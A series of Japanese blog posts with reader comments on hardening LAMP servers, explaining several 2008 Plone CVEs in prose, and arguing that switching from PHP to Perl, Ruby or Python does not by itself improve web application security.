しかし、共有型のホスティングサービスはタイムリーなバージョンアップは期待できません。バージョンアップを行うと、バグフィックスやセキュリティ向上の為の仕様変更により、今まで動作していたアプリケーションが期待通りに動作しなくなる可能性があるからです。動作しなくなるとクレームになるためアップグレードは時々しか行われません。
バージョンアップにはライブラリやフレームワークのバージョンアップも含まれます。ほとんどのホスティングサービスではライブラリ/フレームワークはインストールされたままである場合が多いと思われます。
- Linux/Apache/MySQL/PostgreSQL/PHP/Perl/Python/Rubyなどのインフラ
- フレームワーク/ライブラリ
- アプリケーション
全ての既知の脆弱性がシステムに影響しないように管理しなければなりません。
脆弱性が報告されていなくてもバージョンアップが可能な場合、バージョンアップを行う方が良いです。バージョンアップを行っておくと脆弱性が報告された時にシステムにとって必須の脆弱にだけは直ぐに対処する事が容易になります。
仮想プライベートサーバ以上のサービスを利用する
適切にバージョンアップを行うにはソフトウェアを自前で管理するしかありません。共有型のサービスでは適切なバージョン管理は期待できません。仮想プライベートサーバ以上のでなければ安全に運用できません。
共有型サービスの場合、バージョンアップ以外にもファイルのセキュリティなど十分なセキュリティを維持することが難しいです。
利用可能なセキュリティ対策を利用する
例えば、Perl等にはtaintモードがあります。taintモードはセキュリティ対策として完全ではありませんが、安全性向上に有用です。taintモードを有効にしてもプログラムの実行やパフォーマンスに問題ない場合は有効にすると良いでしょう。
PHPにはopen_basedir設定でPHPが開けるディレクトリを制限する機能があります。この機能も完全ではありませんが、スクリプト実行の脆弱性がある場合、ログを監視する事で被害が発生する前に脆弱性を検出する事が可能となる場合もあります。
エラーを厳格に処理することもセキュリティ対策として有用です。アプリケーションが厳格なエラーチェックを行っても動作に支障が無いのであれば、可能な限り多くのエラー情報を有効にすると良いでしょう。
SELinuxは管理が面倒と思われるかもしれませんが、既にポリシーがありtargetedモードで運用するならそれほど難しい設定なしに利用できます。
iptablesによるパケットフィルタリングは必須です。Webサーバポートなど必要なポートにのみアクセスを許可します。FTP, SSHのポートへ接続できるIPアドレスを指定できるのであれば指定すると安全性が向上します。
Linuxサーバの安全性を確保する
クラッカーにログインを許してしまうと、Linuxカーネルのローカル権限昇格脆弱性を利用してroot権限を取得されてしまう事は少なくありません。root権限を取得しカーネルレベルで動作するマルウェアをインストールする攻撃も一般的です。
リスクを可能な限り少なくするために、サーバには不要なプログラム・サービスをインストールすべきではありません。可能であればSSHとWebサーバのポート以外は閉じておくべきです。サーバにはGUIもインストールする必要はありません。Xサーバもインストールしないようにします。
Apacheのモジュールにも時々脆弱性が発見されます。デフォルトでは多くのモジュールがロードされているので不要なモジュールはロードしないようにします。PHPのモジュールも同じように不必要なモジュールはロードしないようにします。
FTPとSSHサーバのパスワードをブルートフォース方式(ユーザ名とパスワードを推測して侵入を試みる)でクラックする攻撃は非常に一般的で。FTPは可能であれば利用しないようにします。SSHは公開鍵認証のみ利用可能に設定します。秘密鍵には必ず推測が難しいパスフレーズを設定します。
sudoでsuの実行を制限したり、sudoでシェル類も実行できないよう設定します。rootのパスワードは非常に難しいパスワードを設定します。アカウントの共有は行わず、ユーザが簡単なパスワードパスワードを設定していないかパスワードクラッカーを利用して定期的に確認するようにします。パスワードの安全性確認は、FTPやSSHでパスワード認証を有効にしている場合は特に重要です。
エラーログを監視する
エラーログの監視は適切にバージョンアップを行う事と同じくらい重要です。攻撃が行われる場合、少なからず試行錯誤することが多いです。例えば、ディレクトリ遷移攻撃でファイルを不正に参照しようとすると、エラーが何度か発生します。ブラインドSQLインジェクションでデータベースの解析を行うと大量のSQLエラーが発生します。攻撃されても、エラーログを監視していると実際に被害が発生する前に対応できる場合もあります。
仮想ホストを利用する
実際にサービスを提供するシステムに仮想ホストを利用すると、バージョンアップのテストが容易になります。仮想ホストのコピーを作り新しいバージョンをテストする事が可能になります。大規模なシステムならテスト環境が完備されていますが、LAMPでOSSアプリを動かしているサイトで十分なテスト環境が整備されているケースはあまり多くないと思います。
仮想ホストを利用するには仮想プライベートサーバでなく、ホスト丸ごとかりる必要があります。
脆弱性が頻繁に発見されるアプリケーションを利用しない
このアドバイスは微妙です。脆弱性が報告されていないアプリケーションに問題が無いのではなく、セキュリティ研究者が調査していないだけの場合が多いからです。JSPWiki(JavaベースのWiki), Plone(PythonベースのCMS)等はセキュリティ研究者が調査していなかった為、最近致命的なセキュリティ問題が修正されています。脆弱性をレポートしているセキュリティ研究者がアプリケーション全体を監査する事はほとんどありません。この為、既に脆弱性が報告されているから安全とは言えない事が多いです。
しかし、あまりに頻繁にセキュリティ上の問題がレポートされるアプリケーションはアーキテクチャ上の欠陥がある場合が多いです。頻繁にセキュリティ問題が発見されるアプリケーションの利用は控えるべきです。
システム管理用のアプリケーションには十分なセキュリティ対策が施されていないアプリケーションが少なくありません。システム管理用のアプリケーションを利用する場合、HTTPのDigest認証と一緒に利用する方が良いでしょう。
パッケージを利用する
運用中のサーバには開発ツールをインストールするのはあまり好ましくありません。例えば、コマンドインジェクションに脆弱なWebアプリケーションがあり、サーバにコンパイラ等がインストールされているとカーネルのローカル権限昇格脆弱性を利用し、root権限を奪われる可能性が高くなります。パッケージを利用するとコンパイラなどの開発ツールをインストールしなくても、LAMPをインストールできます。よくメンテナンスが行き届いているディストリビューションならソースからインストールするよりタイムリーにアップデートが可能です。
色々な事情で自前でビルドしたい場合でもパッケージをカスタマイズして利用すれば比較的簡単に必要なバイナリをビルドできます。ディストリビューションのバージョンがサポートするプログラムのバージョンが古くても、互換性のあるディストリビューションから新しいバージョンのプログラムのパッケージをインポートすることも難しくはありません。
デマを信じない
「言語を替えるとセキュリティが向上する」といった趣旨の議論があります。基本的な機能が同等な言語であれば、言語を替えるだけでセキュリティが向上する事はありません。
言語を替えると、脆弱性が無いバージョンにバージョンアップした時と同じ様に、一時的にセキュリティ状態が向上します。しかし、インストールした後にバージョンアップしなければ同じ事です。
アプリを自分で作る場合はフレームワークを必ず利用する
PerlでもPHPで、サンプルスクリプトのコピー&ペーストで作られているようなサイトは100%と言ってよいくらい脆弱性があります。自分でアプリケーションを作る場合、Webアプリケーションフレームワークを利用すべきです。Webアプリケーションフレームワークを利用したからといって自動的に安全なWebアプリケーションは作れるようになりませんが、CGIインターフェースを直接利用するのと比べればはるかに容易に安全なアプリケーションが作れます。安全なアプリケーションの作り方は別途に習得する必要があります。Webアプリセキュリティ対策入門などを参考にしていただければと思います。
フレームワークを利用しても、しなくても、最も重要なセキュリティ対策は厳格な入力のバリデーションです。その次は、デフォルトで全ての出力をエスケープすることです。
既成のアプリケーションを選定する場合、入力バリデーションと出力エスケープがどのようになっているか確認するのは非常に良い選択方法だと思います。
4 コメント
http://gihyo.jp/dev/serial/01/php-security/0004
に簡単に原因をまとめています。
言語の本体部分の脆弱性はそれほど多くありません。最近ではprintf系関数のフォーマット文字列攻撃が可能であった事くらいが思いつきます。これも厳密にはstandardと呼ばれるビルドオプションで無効にできないモジュール関数ですが、standardモジュールはPHP本体といって構わないでしょう。standardモジュールに含まれる関数でhtmlentities/htmlspecialchars関数に対する不正な文字エンコーディングを利用した攻撃にたいする脆弱性も最近修正(
PHP5.2.5)されています。これも本体といって差し支えないかも知れませんが、他の言語ではこの種の関数は「言語本体」には分類されない関数でしょう。
# 他の言語はエンコーディング攻撃は大丈夫なのか?
# と心配になります。Ruby 1.9はかなり厳格にエンコー
# ディングを取り扱っているので大丈夫そうな気がし
# ますが誰も調べていないような気が...
モジュール関数で多く報告されるsafe_mode, open_basedir関係のセキュリティ報告はフェイルセーフ機能に対する報告です。Javaのように全ての機能が完全にSandbox化できる場合もありますが、スクリプト系言語のVMレベルで同じ機能を実装した、同じような不具合が多数報告されると予測できます。
モジュール関係では意図的なコードでメモリに直接アクセスできる場合もセキュリティ問題、として報告されています。これはPHPが共有環境のWebサーバモジュールとして利用されている事が多いので、直接メモリが参照できる事例のほとんどがセキュリティ問題として報告されています。この基準を他の言語のモジュールに当てはめるとかなりの数の「脆弱性」が発見できると思います。
PHP本体のセキュリティ上の最大の問題はPHPのリリースポリシーです。「PHPはセキュリティ的にダメだね」と言いたい場合、ここが最大の攻撃箇所かと思います。
Django を動作させる構成として 現在推奨されている のは, Apache と mod_python の組合せですが,多くの人々が共有ホスティングサービスを使っており,そこでは FastCGI や SCGI, AJP といったプロトコルしか選択肢がない場合もあります.また,構成によっては, FastCGI は mod_python よりも安全であり,パフォーマンスの点で mod_python をしのぐ場合もあります.
pythonではmod_pythonよりFCGIが多いようですね。mod_pythonではPHPより低いセキュリティしか期待できませんから当然です。
こまかいところですが一点だけ。
> 秘密鍵には必ず推測が難しいパスフレーズを設定します。
これはサーバの堅牢化というよりも管理用クライアントの問題になるわけで、それを言いはじめると「管理用クライアントの安全性も大事だよ。」という話をしなければいけないような?
上記引用文の意図は「その端末で変なサイトにアクセスしたり/端末自体が盗難されたりして、秘密鍵を盗られたら大変なことになるよ。」という話でしょうか?
> これはサーバの堅牢化というよりも管理用クライアントの問題になるわけで、
> それを言いはじめると「管理用クライアントの安全性も大事だよ。」という
> 話をしなければいけないような?
はい。おっしゃる通りで、クライアントの安全性は非常に重要だと考えています。非常に重要ですがまとめて書くのは難しいです。せめてSSHのパスフレーズくらいは難しい文字列にした方がよいとだけ書いています。私がクラッカーならクラックに成功したPCにはSSH秘密鍵がシステム上に無いか調べ、アクセス履歴等から侵入可能なシステムがないか確かめる可能性は高いです。
クライアントサーバ型のシステムではサーバ側の安全性を確保しても、クライアントにキーロガー(最近ではスクリーンショットや画面の動画も当たり前になって、スクリーンロガーになってますが)などでパスフレーズが分かってしまう可能性もありますが....
私は秘密鍵をできるだけ使い回さないようにしていますが、多くの方が秘密鍵を使い回していると思います。自分のPC, 会社のPC, 会社のサーバなどなど... パスフレーズ無しだと自分だけの秘密鍵と言えない状態の秘密鍵も少なく無いのでは、と心配しています。
後非常に気になっているのはWebアカウントのパスワードの使い回しです。私は同じパスワードは二度と使いませんが、多くの方は複数のアカウントでパスワードを使い回していると考えられるので非常に気になっています。
コメントを残す
LAMPのPをPHPからPerl/Python/Rubyに替えるだけではセキュリティは向上しない証拠
誤解を招く記事 - LAMPセキュリティを強化する4つの方法で紹介した記事ように、最近「言語を替えるとセキュリティが向上する」といった間違った認識が広まりつつあるように思えます。
結論からいうと、セキュリティに関連する機能が同等な言語であれば「言語を替えるとセキュリティが向上するいう考え」は妄想です。言語を替えても、正しいセキュリティ知識を持ち合わせた開発者が開発しないと、危ないアプリケーションが簡単に作れます。
...
ちょうど良い証拠となるPloneのCVEエントリが公開されています。PloneはPythonで記述されたCMSです。私も利用したことがありますが、なかなかよくできているCMSです。出来立てのCMSではなく何年も前から実用されています。フレームワークとしてPythonのWebシステムよく利用されているZopeを利用しています。
本家: http://plone.org/
日本語サイト: http://plone.jp/
さて、以下が本題の言語を替えてもセキュリティが向上しない証拠となるCVEです。
CVE-2008-1396
Plone CMS 3.x uses invariant data (a client username and a server secret) when calculating an HMAC-SHA1 value for an authentication cookie, which makes it easier for remote attackers to gain permanent access to an account by sniffing the network.
日本語訳
Plone CMS 3.xは認証に利用するHMAC-SHA1ハッシュ値を計算する際に、固定のデータ(クライアントのユーザ名とサーバの秘密文字列)を利用しているため、ネットワークスニファリング(盗聴)によりリモートの攻撃者が容易に恒久的なアクセスを取得できます。
解説
一言でいうと「一度盗聴してしまえば後から何度でも同じユーザ権限でアクセスできる」ということです。認証に利用するハッシュ値が常に同じ値になる設計は、お粗末な設計であったと言われても仕方ありません。恐らく認証コードを設計した開発者はチャレンジレスポンス形式の認証方式を知らなかったのだと思われます。チャレンジレスポンス形式の認証は少しセキュリティを勉強した方なら知っている認証方式です。
折角SHA1ハッシュを利用して認証の安全性を向上させようとしているにも関わらず、セキュリティの基礎知識不足が原因で本来ハッシュを利用して達成できる使いきりにできる認証情報が固定化されていることが問題とされています。
本来達成すべき事の半分以下した達成していませんがハッシュを利用している部分は評価できます。しかし、後に紹介するCVE-2008-1393、CVE-2008-1394の脆弱性でこの努力も台無しになっています。
CVE-2008-1395
Plone CMS does not record users' authentication states, and implements the logout feature solely on the client side, which makes it easier for context-dependent attackers to reuse a logged-out session.
日本語訳
Plone CMSはユーザの認証状態を保持せず、ログアウト機能をクライアント側で実装しています。この為、コンテクストに依存した攻撃者がログアウトしたセッションを利用することを容易にしています。
解説
ログアウトしたつもりがログアウト出来ていなかった、という脆弱性です。「クライアント側だけでログアウトしたことにしている」のは重大なセキュリティ上の欠陥です。私のセキュリティセミナーをお聞きいただいた方は「ログアウトは必ず実装しなければならない」と話していたことを覚えていらっしゃる方も多いと思います。ログアウト機能は認証機能の基本機能であり、セキュリティ上非常に重要な機能であることは議論の余地はありません。このような重要な機能がクライアント側だけ(恐らくクッキーを利用していると思われますが、確認していません)で処理されているのは重大な設計上の問題です。
CVE-2008-1394
Plone CMS before 3 places a base64 encoded form of the username and password in the __ac cookie for all user accounts, which makes it easier for remote attackers to obtain access by sniffing the network.
日本語訳
Plone CMSバージョン3以前は全てのユーザアカウントに対して、BASE64でエンコードされたユーザ名とパスワードを__acクッキーに保存していました。これにより、リモートの攻撃者はネットワークを盗聴することにより容易にシステムにアクセス可能でした。
解説
「BASE64でエンコードされたユーザ名とパスワード」を送信するのは「テキストでユーザ名とパスワード」を送信するのと同じです。絶対に行ってならないことです。パスワードはそれが仮にSHA512でハッシュ化されたパスワードであっても、絶対にクッキー等に保存して利用してはならない情報です。セキュリティの基本中の基本です。ちなみに、この問題はネットワークを盗聴しなくても簡単に悪用できます。共用PC等からクッキーファイルをコピーする等の方法でユーザアカウントを盗むことも可能です。
CVE-2008-1393
Plone CMS 3.0.5, and probably other 3.x versions, places a base64 encoded form of the username and password in the __ac cookie for the admin account, which makes it easier for remote attackers to obtain administrative privileges by sniffing the network.
日本語訳
Plone CMS 3.0.5および恐らく他の3.x系バージョンは、BASE64エンコードされた管理者アカウントのユーザ名とパスワードを__acクッキーに保存していました。これにより、リモートの攻撃者はネットワークを盗聴することにより容易に管理者権限でシステムにアクセス可能でした。
解説
CVE-2008-1394とほぼ同じ脆弱性です。しかし、管理者アカウントの問題だけが別エントリになっているのは特別な意味があると思われます。CVEが別であることから推測すると、まさかとは思いますが、全てのユーザセッションのクッキーにBASE64エンコードされた管理者アカウントのユーザ名とパスワードを保存していた可能性があります。
まとめ
これらのCVEとして上げられているセキュリティ問題は新しい問題ではありません。「今時こんな脆弱性が!」と思える脆弱性ばかりです。
言語を替えても、適切なセキュリティ知識がないと安全なアプリケーションは作れないことは、優れたエンジニアでなくても直感的に理解できるはずです。言語はただの道具にしか過ぎません。言語を替えると自動的により安全なアプリケーションが作れるようになる、といった趣旨の発言は技術者として恥ずかしいことなので止めましょう。
最後に、Python/Zopeで作ったWebシステムだけにこういう例がある訳ではありません。皆同じです。Ploneユーザの方、早くバージョンアップしましょう。
追記:
最近追加されたPloneのCVEで漏れている物がありました。
CVE-2008-0164
Multiple cross-site request forgery (CSRF) vulnerabilities in Plone CMS 3.0.5 and 3.0.6 allow remote attackers to (1) add arbitrary accounts via the join_form page and (2) change the privileges of arbitrary groups via the prefs_groups_overview page.
複数のCSRF脆弱性だそうです。
Very large, active development team
* Over the past twelve months, 84 developers contributed new code to Plone.
* This is one of the largest open-source teams in the world, and is in the top 2% of all project teams on Ohloh, which lists most of the major open source projects in the world.
* Over the entire history of the project, 219 developers have contributed.
Mature, well-established codebase
* The first lines of source code were added to Plone in 2001. This is a relatively long time for an open source project to stay active, and can be a very good sign.
* A long source control history like this one shows that the project has enough merit to hold contributors's interest for a long time.
と言うことですが、Webプログラミングに慣れていないと思わぬ落とし穴にハマるものです。
追記:
Perlのスクリプトで長い間利用されていると思われるものでも、セキュリティ対策が行われていないケースも少なくありません。ちょうど良い一例が出てきました。2008/4/1にCVEが登録されました。ちなみにクロスサイトスクリプティングに対するセキュリティアドバイザリは2000年2月に発表されています。Perlだけではありません。これが現実です。
http://www.gnbnet.com/cgi/readme/designform.html
改定履歴:
2008/02/16 Ver3.9 【重要】
mail欄などに任意のjavascirptを入力することで悪意あるコードが実行されてしまうセキュリティホール修正。
Ver3.xをご利用の方はindex.cgiを差し替えてご利用ください。また、それ以前のバージョンをお使いの方もスクリプトのバージョンアップをお願いします。2006/01/29 Ver3.8
送信完了メッセージの文字化けバグ修正。2006/01/26 Ver3.7
時間挿入。テンプレートファイルの入れたいところにで時間が表示されます。
2005/12/12 Ver3.6
メールアドレスチェック(セキュリティホール)修正。前バージョンをご利用の方はindex.cgiの差し替えのみでOKです。また、本文内に「"」を入力するとプレビューモードを使用した場合、メールが途中で途切れてしまうバグ修正。2005/02/28 Ver3.5
メール誤送信用URLをノーチェックでできるように変更。2004/02/22 Ver3.4
メールの送り先を複数指定した場合、サーバによっては送れない現象を修正。プレビュー画面の改行が無効になるバグを修正。2003/11/13 Ver3.3
送信者へのコピーメール送信時に送信元のアドレスを管理人のものにするか送信者のものにするか選択できるように変更。スパム防止のため、デザインファイルでの設定可能項目より「メール宛先」削除。(preset.cgiでのみ指定できます。)メールの送り先を複数指定できるように変更。2003/08/12 Ver3.2
管理者へのメール送信の際、fromアドレスがnobodyになってしまうバグ修正。2003/07/15 バージョンアップ。
プラットフォーム取得ルーチンはfutomi's CGI Cafeさまより再配布許可を得てパッケージさせて頂いております。2003/05/27 バージョンアップ。
ダイレクトアクセスでの無記入メール送信防止機能追加。送信フォームごとcgiで稼動させるように変更。(必須入力エラー時の再入力防止)2002/11/06 メールアドレス必須でない場合に送信エラーが出るバグを修正
2002/09/07 配布開始
1 コメント
言語を替えると安全になる、という議論はあまりに短絡的です。具体的に議論しないと意味がありません。
PHPは仕様的に脆弱になる部分があります。仕様が原因で脆弱になる例
- - 組み込み型の言語仕様
- - リモートファイルインクルード(デフォルト無効)
- - 未初期化セッションIDの受け入れ
- - 透過的セッション管理(デフォルト無効)
などです。中でも組み込み型の言語仕様はローカルファイル読み込みに脆弱なアプリケーションでは致命的な問題です。PHP以外の言語でも、例えば、画像ファイルにコードを埋め込みスクリプトを実行する攻撃は可能ですが、PHPは組み込み型であるためほとんど制限無く任意スクリプトが実行できます。
open_basedirを利用することによりリスクは低減できますが、仕様的に脆弱であることには変わりありません。
以前、PHPにも<?php ?>タグ無しにスクリプトを実行できるようにする事が議論されたことがあります。残念ながら実現しませんでした。
未初期化セッションIDの受け入れも非常に重大なセキュリティ上の問題です。これについては別の機会に解説したいと思います。
仕様以外の問題にリリースの問題もあります。PHPは言語とモジュール(ライブラリ)が一体となってリリースされています。言語とモジュールは別に管理されている方がアップグレードが行い易くなります。リリース通りにアップグレードしようとすると非常に多くの変更が含まれるモジュールのアップグレードも行わなければなりません。変更量が多くなるとアプリケーションへの影響が把握しづらくなります。
PHP本体とモジュールはAPIさえ合っていれば自由に組み合わせることが可能です。セキュリティ維持の為、新旧組み合わせて利用する事は、PHP以外の言語では当たり前のように行われています。PHPでは、あまり一般的に行われているとは思えません。
PHP4のサポートが終了し、PHP5に移行しようとされている方も多いと思います。現在PHP5.3が開発中です。最後のPHP5リリースになれば良いと思っていましたが、PHP5.4もリリースされる事は確実な状況になってきています。この調子だとPHP5.5もリリースされるかもしれません。企業ユーザにとってはあまり好ましい状況ではありません。
PHPにはダメな所も多いので「PHPより○○○○の方が良いよ」と言う場合、具体的に比較すれば良いと思います。
コメントを残す
誤解を招く記事 - LAMPセキュリティを強化する4つの方法
LAMPセキュリティを強化する4つの方法
http://enterprisezine.jp/article/detail/311
書いてある情報は有用な事も記載されていますが、偏狭な視点からの記述により誤解を招く記事になっていると考えられます。著者はセキュリティの専門家ではないようなので仕方ないかも知れませんが、間違った認識は有害です。
# 原本は読んでいません。もしかすると日本語訳にも問題があるのかも知れません。
...
実行できる最も重要な対策は、PHPを使わないことです。腐った果物を導入する前に、以下に目を通してください。
後にPerl/Ruby/Pythonの方がかなり安全である旨の記述があります。メモリ管理が必要ない同じスクリプティング言語のレベルで「Perl/Ruby/Pythonを使えばセキュアなアプリケーションができる」と考えるのはナンセンスです。PHPを利用したシステムには、既知の脆弱性があるバージョンであったり、十分な安全性を保証できない構成である「腐った果実」が多いのも事実ですが、歴史が長いからそうなった側面もあります。同じような状況は他の言語でもあります。
古いTomcatアプリケーション等は好例でしょう。古いTomcatを運用されている方は、この著者がいう「腐った果実」状態にならないよう苦労されている事だと思います。後述しますが、あまり古く無いRailsでも同じです。
古くなると「腐った果実」になるのです。これはPHPに限りませんが、この記述だと「PHP=腐った果実」と誤解を与えると思われます。
著者はWebシステムを安易に利用するものでは無いことが言いたいのかも知れません。そういう事であれば同意できます。Webシステムは全般的に非常にセキュリティ問題に脆弱です。「良く使われているから」と安易にWebサーバを設置して、Webアプリケーションを運用すべきではありません。
著者はMonth of PHP Bugs(MOPB)等を参照して「PHPは他の言語より危険だ」と感じたのかもしれません。しかし、実際には、Perl/Ruby/PythonをPHPと同じようにWebサーバのモジュールとして利用し、共有するとPerl/Ruby/PythonはPHP以下の安全性しか提供できません。今の所、フェイルセーフ機能がPHPにはある分ましと言えると思います。
#「まし」とはいうだけで「安全」ではないので
# どんぐりの背比べですが。
PHPには入力のチェックに役立つツールがこれといってないため、独自の検証ルーチンを書く必要があります。
後ほど、MySQLのセットアップでchroot環境を利用してもセキュリティ上の意味が無いような記述がります。このため「taintモードがあるので検証ルーチンを書く必要がない」と主張しているとは思えません。とにかく、taintモードは検証ルーチンにはなり得ません。
# 後述しますが、MySQLセットアップでchrootを利用するのはセキュリ
# ティ上非常に有用です。これはchrootがセキュリティ対策として用い
# ても意味がない場合があることとは関係ありません。著者はこの事を
# 理解していない可能性があるように思えます。
PHPには無いですが、普通に取得できるフレームワークにはバリデーションコード(検証ルーチン)付いています。PEARのHTML_QuickFormには結構便利なバリデーション機能があります。AJAXには使いづらいですが、AJAX対応フレームワークにはバリデーションを用意している物がほとんどです。(無い物は知らないです)当たり前ですがPerl/Ruby/PythonにもWeb用のバリデーションコードが言語自体に付属していません。ライブラリは検証コードありますが「CGI.pmには検証ルーチンが付属しているので優れている」とするのはナンセンスです。どいう意味で「独自の検証ルーチンを書く必要があります」と書いてあるのか解らないのでコメントはこの程度にします。
Apacheのmod_phpを使ってPHPをApacheモジュールとして実行すると、Apacheプロセスのすべての資格情報がPHPに引き継がれます。つまり、Apacheが読み書きできるものは、PHPでも読み書きできます。これが意味するのは、PHPの乗っ取りに成功すれば、Apacheに直接乗り込んでいって、Apacheが接触するものならどこへでも入り込める、ということです。mod_phpを1人のユーザーしかいない単純なサイトで使うなら許せますが、多数のユーザーが共有するシステムの場合、すべてのスクリプトは同じApacheユーザーの下で実行されるため、これは大惨事を招きます。代わりに、PHPをsuEXECまたはCGIWrapの下で実行すべきです。これらのしくみは、Perl、Python、Rubyのような穏健なスクリプト言語でも利用できます。
これは多くのホスティングサービスがPHPをApacheモジュールとして提供しているので危険だ、と言いたいのでしょう。しかし、「安全なWebサービスを提供しよう」とするなら共有型のWebホスティングサービスを使う時点で間違っています。suEXEC, CGIWrapなどを使うのではなく、仮想プライベートサーバを利用するのが最低限のスタートラインです。
Perl/Ruby/Pythonはより安全な状態でのみ利用できるように読めてしまえるかも知れません。しかし、Perl/Ruby/PythonもApacheもモジュールとして動作させるオプションもあります。モジュールとして動作させた場合、PHPと何ら変わりありません。つまり、mod_phpで出きるようにmod_perl, mod_ruby, mod_pythonを使えばWebサーバのログを書き換えたり、メモリ参照が可能な関数を利用してSSLサーバ秘密鍵を盗むことはPHPだけの十八番ではありません。同じように使えば、同じ事なのです。
この記述を予備知識なしに読んだ方は「PHPの方が危険なんだ」と誤解すると思われます。
人知れずPHP3やPHP4を使い続けているサイトはたくさんあり、バグフィックスやセキュリティパッチをまったく適用していないサイトもそれ以上にたくさんあります。PHP5がリリースされたのは2004年で、PHP3のリリースともなると1998年までさかのぼります。
同じような状況はRubyやPerlに無いとでも思っているのでしょうか? PerlはWebスクリプティング言語として歴史が長く、人知れず古いPerl(+脆弱性満載のCGI)で動作しているサイトも沢山あります。もちろんシェアの関係で古いPHPを利用しているサイト数が圧倒的に多いとは思います。
もしかすると、歴史が長い事は悪いことだ、と言いたいのかも知れません。
全てのプログラムに言える事ですが、脆弱性がある古いプログラムを利用するのは良くない事です。これはPHPとそのスクリプトに限った事ではありません。例えば、比較的新しいと言えるRuby on Railsでも1.2.4以下にはセッション管理に問題があり、スピアフィッシングを行えば非常に簡単に他人のセッションを盗めてしまいます。先日、Webrickにディレクトリ遷移を利用した情報漏洩の脆弱性もレポートされています。放置すれば/etc/passwd等、重要な情報が簡単に取得できてしまいます。Javaなら大丈夫か、というとそうでもありません。JSPWikiと呼ばれるJavaベースのWikiには先日、任意JSPを挿入され実行されてしまう脆弱性が発見されました。Tomcatの脆弱性情報もつい先日公開されたばかりです。
言語を替えても、インフラを替えても、見つかった脆弱性は放置すれば同じです。「WindowsよりOSXの方が安全」と考えるのはナンセンスです。基本的な要素が同じなら、いかに管理し、対処しているかによりどちらの方が安全か評価できます。同じように「PHPよりPerl/Ruby/Pythonの方が安全」ではありません。これらは偏見に満ちた間違った考え方です。この様な考え方でWebシステムを構築・管理していては、いつまで経ってもWebシステムは安全になりません。
実に困った物騒な代物なのですが、たいていの場合、新しいPHPリリースにアップデートするには相当な量のコードを書き直す必要があります。
著者は本当にPHPのコードを書いているのか疑いたくなります。
少なくとも自分のコードはPHP4からPHP5へ移行する際、修正はほとんど必要ありませんでした。私が利用しているOSSのコードのほとんど書き直しは必要ありませんでした。
# OSSの場合、バージョンアップのコストはほどんとかかりません。
# 「ユーザに試してもらい、動かなかったら対処する」で構いません。
# しかし、信頼性が重要な商用サービスでは言語のバージョンアップ
# を行う場合のコストは無視できないくらい大きなコストが必要です。
# しかし、これはPerl/Ruby/Pythonなら不必要となる、とか激減する
# というコストではありません。
「たいていの場合、新しいPHPリリースにアップデートするには相当な量のコードを書き直す必要があります」と書いていますが、よほど汚いコードを書いていない限り「相当な量のコードを書き直す必要」は無いはずです。マイナーバージョンアップで困る事(バグで機能が壊れたなど)もありますが、それ以外でコードを書き換える事はほとんどありません。
ちなみに、私の書いたPHP3のコードはほとんど書き換え無しにPHP4で動作していました。多分PHP5でも問題なく動作したでしょう。おそらく、PHP3の頃のスクリプトはいわゆるバッチ型のスクリプトが多く、PHP4/PHP5でほとんど修正なしに動作します。確かに、PHP3は純粋インタプリタだったのでPHP4への移行が難しいスパゲッティコードで、それが原因で移行できなかったのかも知れません。仮にそのようなコードを使っているサイトがPerl/Ruby/Pythonに乗り換えたからといって安全な運用を行うとは到底思えません。
言語は安全な運用を強要する物ではありません。「Perl/Ruby/Pythonならより安全に運用できる」ものではありません。
「Python 3000, Ruby 1.9, Perl 6.0ならコードの調整も無し、互換性チェックも無しにバージョンアップできる」はずがありません。実際にリリースされているRuby 1.9の状況を見ても同じです。1.8へのバージョンアップでも似たような状況だったと思います。言語機能だけみると他の言語のバージョンアップとPHPのバージョンアップとそう変わらないと思います。
大きな違いは、PHPは多くのモジュールをバンドルしているのでPHPのバージョンアップをするとモジュールもバージョンアップされてしまう事です。これには良い面と悪い面がありますが、セキュリティ面だけ考慮すればモジュールごとバージョンアップされるのは良い事です。そうでないとPHP本体のバージョンだけアップグレードし、脆弱性があるモジュールを使い続ける事になり安くなります。
PHPはWeb開発フレームワークと言うには機能は貧弱ですが、言語の基本機能に内蔵されたWebプログラミングサポート機能などフレームワーク的な要素が強く、多くのモジュールも一緒にバージョンアップ・リリースされ、バージョンアップされます。このため、他の言語とに例えると「言語」のバージョンと「フレームワーク」のバージョンアップを同時にするような状態になり、バージョンアップが難しくなる側面もあります。特にホスティングサービスの場合、アプリケーションが利用している機能を特定できないので、この記事の著者の言うように「腐った果実」をそのまま使っているサービスが氾濫しています。
PHP3のような化石ともいえそうなPHPバージョンにも言及されているので、古いPerlライブラリの脆弱性を例に上げます。古いPerlのシステムではCGI.pmの脆弱性が放置されたままであるサーバもあるでしょう。例えば、
http://www.securityfocus.com/bid/8231
など。ざっと検索して最初に見つけた物だけです。これ以外にもあるかも知れません。
# 問題はPHPのバージョンアップに伴い必要となる、互換性の検証に
# コストが必要であり、多くのサイトがそのコストをかけてない
# ことが問題なのです。これは歴史が同じくらい長いPerlサイトでも
# 同じです。
#
# 昨年もあるサイトのリニューアルで多数の古いPerlスクリプトを新
# しいサイトに移行するプロジェクトに関わりました。当然ですが、
# セキュリティ的に合格点が出るようなスクリプトはほとんどありま
# せんでした。
#
# 既知の脆弱性が無い、新しいバージョンのプログラムを利用する方
# が良いには代わりありませんが、古いバージョンでもかなり安全に
# 利用することも可能です。放置するだけでリスクアセスメントと対
# 策を全く行ってい事が一番の問題なのです。
私見を述べさせてもらうと、Perl、Python、Rubyのどれかを使う方が良いでしょう。
本当にそうでしょうか? 言語を変えるとプログラマがセキュリティを気にせず使っても安全なWebアプリが作れるのでしょうか?
個人的には全ての言語の標準的なライブラリのセキュリティ状態が非常に気になります。ほとんどのセキュリティ研究者はライブラリのセキュリティ状態までチェックしていません。
最も良くチェックされているライブラリはPHPが標準でバンドルしているモジュールだと思います。
# とは言っても先日、結構致命的な脆弱性をPHPモジュールに発見してし
# まいました。
# 自分の書いたスクリプトなら問題ないのですが、多くのスクリプト
# 影響を受けると思います。パッチはこれから書きます。PHPユーザの方
# バージョンアップの準備をした方が良いです。
PHPはWebサーバモジュールとして利用する事が多く、MOPBのおかげで最近はメモリ管理エラーはきちんとセキュリティ上の問題として取り扱われています。PHP以外の言語ならモジュール関数を仕様外の使い方でクラッシュさせても「自分で自分の足を打つな」と言われるのがおちでしょう。
長い目で見ると手間や心配事は激減します。
これは間違っています。現在のPHPの様に、長い間不適切な管理を続けるとPerl/Ruby/Pythonを使ってもいても同じ様に心配ごとが激増します。長い目でみると言語を替えてもセキュリティ対策の根本的な解決とならず、放置すれば心配事が激増するのは明かです。
